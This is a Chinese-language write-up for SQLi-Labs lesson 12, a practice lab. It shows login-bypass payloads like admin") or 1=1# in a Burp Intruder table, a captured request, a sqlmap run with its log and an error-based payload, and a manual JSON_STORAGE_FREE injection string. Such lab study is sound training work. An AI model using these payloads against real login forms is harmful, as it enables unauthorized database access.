

第十二课

知识点知识双引号+)错显 “)

目录

挖能密码：(爆破)

Sqlmap 梭哈

手工注入

Request	Payload	Status	Error	Timeout	Length	Comment
142	admin")0#	200	<input type="checkbox"/>	<input type="checkbox"/>	1803	
0		200	<input type="checkbox"/>	<input type="checkbox"/>	1742	
117	admin") or 1=1#	200	<input type="checkbox"/>	<input type="checkbox"/>	1742	
119	ceshi") or 1=1#	200	<input type="checkbox"/>	<input type="checkbox"/>	1742	
118	test") or 1=1#	200	<input type="checkbox"/>	<input type="checkbox"/>	1742	
1	ceshi	200	<input type="checkbox"/>	<input type="checkbox"/>	1657	
2	guest	200	<input type="checkbox"/>	<input type="checkbox"/>	1657	
3	test	200	<input type="checkbox"/>	<input type="checkbox"/>	1657	
4	manager	200	<input type="checkbox"/>	<input type="checkbox"/>	1657	
7	admin666	200	<input type="checkbox"/>	<input type="checkbox"/>	1657	

RequestResponse

RawParamsHeadersHex

POST /sql_lab/Less-12/ HTTP/1.1

Host: 192.168.74.128

User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/533.20.25 (KHTML, like Gecko) Version/5.0.4 Safari/533.20.27

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2

Accept-Encoding: gzip, deflate

Content-Type: application/x-www-form-urlencoded

Content-Length: 57

Connection: close

Referer: http://192.168.74.128/sql_lab/Less-12/

Upgrade-Insecure-Requests: 1

uname=ceshi%22)%20or%201%3d1#&passwd=123456&submit=Submit

?<+>

Type a search term

192.168.74.128/sql_lab/Less-12/

80%php

Welcome Dhakkan

Username :
Password :
Submit

Your Login name:Dumb
Your Password:Dumb

SUCCESSFULLY
LOGGED IN

查看器控制台调试器样式编辑器性能内存网络存储无碍环境HackBarAdblock Plus

EncryptionEncodingSQLXSSOther

Load URL

Split URL

Execute

http://192.168.74.128/sql_lab/Less-12/


Post dataRefererUser AgentCookies

Clear All

uname=1") or 1=1#&passwd=123456&submit=Submit

Sqlmap 梭哈

```
D:\WEB_Safe\TOOLS\Burp>sqlmap.py -r C:\Users\Adam\AppData\Local\Temp\1561106919269.req --threads 10 --dbs="mysql" --proxy=http://127.0.0.1:8080 --technique E
```



```
(1.3.6.42#dev)
http://sqlmap.org

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program

[*] starting @ 16:48:40 /2019-06-21/

[16:48:40] [INFO] parsing HTTP request from 'C:\Users\Adam\AppData\Local\Temp\1561106919269.req'
[16:48:40] [INFO] testing connection to the target URL
[16:48:41] [INFO] checking if the target is protected by some kind of WAF/IPS
[16:48:43] [INFO] heuristic (basic) test shows that POST parameter 'uname' might be injectable (possible DBMS: 'MySQL')
[16:48:45] [INFO] testing for SQL injection on POST parameter 'uname'
[16:48:45] [INFO] tests: do you want to include all tests for 'MySQL' extending provided level (1) and risk (1) values? [Y/n] y
[16:48:54] [INFO] testing 'MySQL' >= 5.5 and error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (BIGINT UNSIGNED)
[16:49:24] [INFO] POST parameter 'uname' is 'MySQL' >= 5.5 and error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (BIGINT UNSIGNED)' injectable
POST parameter 'uname' is vulnerable. Do you want to keep testing the others (if any)? [Y/n] n
sqlmap identified the following injection point(s) with a total of 28 HTTP(s) requests:

Parameter: uname (POST)
  Type: error-based
  Title: MySQL >= 5.5 and error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (BIGINT UNSIGNED)
  Payload: uname=1') AND (SELECT 24(IF((SELECT * FROM (SELECT CONCAT(0x7162627a71,(SELECT (ELT(5474=5474,1))) ,0x7171716a71,0x78))s), 8446744073709551610, 8446744073709551610) AND (vzvQ' = vzvQ&passw=12345&submit=Submit

[16:49:56] [INFO] the back-end DBMS is MySQL
web server operating system: Windows
web application technology: PHP 5.3.29, Apache 2.4.18
back-end DBMS: MySQL >= 5.5
[16:49:56] [INFO] fetched data logged to text files under 'C:\Users\Adam\AppData\Local\sqlmap\output\192.168.74.128'
```

手工注入直接上 payload(还是那 10 个 payload 都可以)

[illegible]

uname=a") and ISNULL(JSON_STORAGE_FREE(NULL))--+ json 调用报错数据库
还有很多其他的函数需要自己查看最新的或者对应 sql 版本的函数

